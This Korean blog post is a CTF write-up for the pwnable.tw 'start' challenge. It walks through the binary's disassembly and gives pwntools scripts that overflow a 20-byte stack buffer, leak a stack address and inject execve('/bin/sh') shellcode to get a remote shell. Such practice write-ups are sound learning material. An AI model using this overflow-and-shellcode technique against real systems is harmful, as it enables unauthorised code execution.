본문 바로가기

CTF/Pwnable.tw

Pwnable.tw pwnable_start Write up

간단한 문제라고 설명하지만 나한텐 절대 간단하지 않았다.

일단 바이너리 하나가 주어진다.

이 바이너리 가지고 한번 분석해보자.

일단 Ida로 열어보면 main 함수를 받고있지 않다. 근데 실행은된다. 즉 _start에서 출력이랑 인풋을 처리한다는얘기이다.

디스어셈블리로 코드를 한번 봐보자.

 

push    esp
push    offset _exit
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    3A465443h
push    20656874h
push    20747261h
push    74732073h
push    2774654Ch
mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx
mov     dl, 3Ch
mov     al, 3
int     80h             ; LINUX -
add     esp, 14h
retn

간단한 어셈블리이다.

일단 int 80을 보면 위에있는 al이 4인것을 보니, write를 한다는것을 알수있다. 밑에도 역시 al, 3을 함으로 read를 한다.

위에 write에서 ecx에 있는것을 20바이트만큼 출력해준다.

그리고 다시 read함수를 출력해준다. 

 

일단 밑에 add     esp, 14h 여기를 보면 무조건 esp+14를 리턴해준다. 즉 esp+14만큼 입력한후 그 다음값을 입력하게되면 eip조정이 가능하게된다. 하지만 여기에서는 중요한 함정이 있는데 쉘코드를 넣는다해도, 변수에 주소를 알수없으면 풀수 없다. 이 문제에서는 Memory Leak 도 필요하단걸 알수 있다.

 

그럼 생각을해보자. 우리는 RET가 조정이 가능하지 mov ecx, esp 를 리턴해준다면, 스택에 첫부분이 메모리 Leak이 가능할것이다. 그럼 지금까지 했던내용을 이용해서 대강 payload를 작성해보자.

mov는 objdump 를 이용해서 찾았다.

from pwn import *

p = process("./start")

context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)

payload = "A"*20
payload += p32(0x8048087)

print payload

p.recvuntil("CTF:")
p.send(payload)

p.interactive()

1차는 이런식으로 짜주면된다.

 

그럼 정상적으로 Memory Leak 이 가능한걸 볼수있다. 그다음엔 쉘코드 넣고 그 주소에서 20떨어진만큼 으로 RET해주면 되겠다.

 

from pwn import *

#p = process("./start")
p = remote("chall.pwnable.tw",10000)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)

payload = "A"*20
payload += p32(0x8048087)

p.recvuntil("CTF:")
p.send(payload)

Leak_addr = u32(p.recv(4))
log.info("Leak_addr :" + hex(Leak_addr))

payload = "A"*20
payload += p32(Leak_addr + 20)
payload += shellcode

p.send(payload)

p.interactive()

이런식으로 코드를 짜주면 완성이다.

'CTF > Pwnable.tw' 카테고리의 다른 글

Pwnable.tw pwnable_silver_bullet Write up  (0) 2019.11.05
Pwnable.tw pwnable_dubblesort Write up  (0) 2019.11.04
Pwnable.tw pwnable_3x17 Write up  (0) 2019.11.04